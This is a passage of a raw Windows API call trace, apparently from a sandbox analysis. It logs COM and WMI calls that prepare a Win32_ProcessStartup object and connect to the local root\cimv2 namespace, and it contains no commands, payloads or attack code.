pszText=0x0) returned 0x0 [0066.486] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b1c0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0066.486] IWbemServices:GetObject (in: This=0x1bf548f0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf44630, ppCallResult=0x0) returned 0x0 [0066.489] IWbemClassObject:Get (in: This=0x1bf44630, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0066.489] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0066.489] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0066.489] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0066.489] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0066.489] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0066.490] IUnknown:Release (This=0x111f638) returned 0x1 [0066.493] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bef8a60) returned 0x0 [0066.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef8a60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0066.493] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef8a60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3af80) returned 0x0 [0066.493] WbemDefPath:IUnknown:Release (This=0x1bef8a60) returned 0x0 [0066.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3af80) returned 0x0 [0066.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0066.494] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0066.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0066.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0066.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bef8a80) returned 0x0 [0066.494] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8a80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.494] WbemDefPath:IUnknown:Release (This=0x1bef8a80) returned 0x3 [0066.494] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0066.494] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0066.494] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0066.495] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0066.495] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x1 [0066.495] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0066.495] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0066.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3af80, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3af80) returned 0x0 [0066.495] WbemDefPath:IUnknown:AddRef (This=0x1bf3af80) returned 0x3 [0066.495] WbemDefPath:IUnknown:Release (This=0x1bf3af80) returned 0x2 [0066.495] WbemDefPath:IWbemPath:SetText (This=0x1bf3af80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0066.495] IWbemClassObject:Get (in: This=0x1bf44630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2908628*=0, plFlavor=0x290862c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2908628*=19, plFlavor=0x290862c*=0) returned 0x0 [0066.496] IWbemClassObject:Get (in: This=0x1bf44630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2908628*=19, plFlavor=0x290862c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2908628*=19, plFlavor=0x290862c*=0) returned 0x0 [0066.496] IWbemClassObject:Put (This=0x1bf44630, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0066.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b280, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0066.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0066.496] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0066.496] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.496] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0066.496] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0066.496] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0066.496] IUnknown:Release (This=0x111f638) returned 0x1 [0066.498] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bef87c0) returned 0x0 [0066.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef87c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0066.499] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef87c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3aec0) returned 0x0 [0066.499] WbemDefPath:IUnknown:Release (This=0x1bef87c0) returned 0x0 [0066.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3aec0) returned 0x0 [0066.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0066.499] WbemDefPath:IUnknown:AddRef (This=0x1bf3aec0) returned 0x3 [0066.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0066.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0066.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bef8840) returned 0x0 [0066.500] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8840, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0066.500] WbemDefPath:IUnknown:Release (This=0x1bef8840) returned 0x3 [0066.500] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0066.500] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0066.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0066.500] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x2 [0066.500] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x1 [0066.500] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0066.500] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0066.500] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3aec0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3aec0) returned 0x0 [0066.500] WbemDefPath:IUnknown:AddRef (This=0x1bf3aec0) returned 0x3 [0066.500] WbemDefPath:IUnknown:Release (This=0x1bf3aec0) returned 0x2 [0066.500] WbemDefPath:IWbemPath:SetText (This=0x1bf3aec0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0066.500] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0066.500] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0066.500] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.500] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0066.501] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0066.501] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0066.501] IUnknown:Release (This=0x111f638) returned 0x1 [0066.502] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bef86c0) returned 0x0 [0066.502] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef86c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0066.502] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bef86c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bef8720) returned 0x0 [0066.502] WbemLocator:IUnknown:Release (This=0x1bef86c0) returned 0x0 [0066.502] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bef8720) returned 0x0 [0066.502] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0066.503] WbemLocator:IUnknown:AddRef (This=0x1bef8720) returned 0x3 [0066.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0066.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0066.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0066.503] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0066.503] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0066.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0066.503] WbemLocator:IUnknown:Release (This=0x1bef8720) returned 0x2 [0066.503] WbemLocator:IUnknown:Release (This=0x1bef8720) returned 0x1 [0066.503] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0066.503] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0066.503] WbemLocator:IUnknown:QueryInterface (in: This=0x1bef8720, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bef8720) returned 0x0 [0066.503] WbemLocator:IUnknown:AddRef (This=0x1bef8720) returned 0x3 [0066.503] WbemLocator:IUnknown:Release (This=0x1bef8720) returned 0x2 [0066.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3aec0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0066.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0066.504] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3aec0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0066.504] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bef84a0) returned 0x0 [0066.504] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bef84a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf54ce0) returned 0x0 [0066.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54ce0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef11b0) returned 0x0 [0066.571] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef11b0, pProxy=0x1bf54ce0, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0066.571] WbemLocator:IUnknown:Release (This=0x1bef11b0) returned 0x1 [0066.571] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54ce0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef11f0) returned 0x0 [0066.572] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54ce0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef11b0) returned 0x0 [0066.572] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef11b0, pProxy=0x1bf54ce0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0066.572] WbemLocator:IUnknown:Release (This=0x1bef11b0) returned 0x2 [0066.572] WbemLocator:IUnknown:Release (This=0x1bef11f0) returned 0x1 [0066.572] CoTaskMemFree (pv=0x1bf3cec0) [0066.572] WbemLocator:IUnknown:AddRef (This=0x1bf54ce0) returned 0x2 [0066.572] WbemLocator:IUnknown:Release (This=0x1bef84a0) returned 0x0 [0066.573] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0066.573] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0066.573] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf54ce0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bef11c0) returned 0x0 [0066.573] WbemLocator:IRpcOptions:Query (in: This=0x1bef11c0, pPrx=0x1bef8560, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0066.574] WbemLocator:IUnknown:Release (This=0x1bef11c0) returned 0x2 [0066.574] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0066.574] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0066.574] 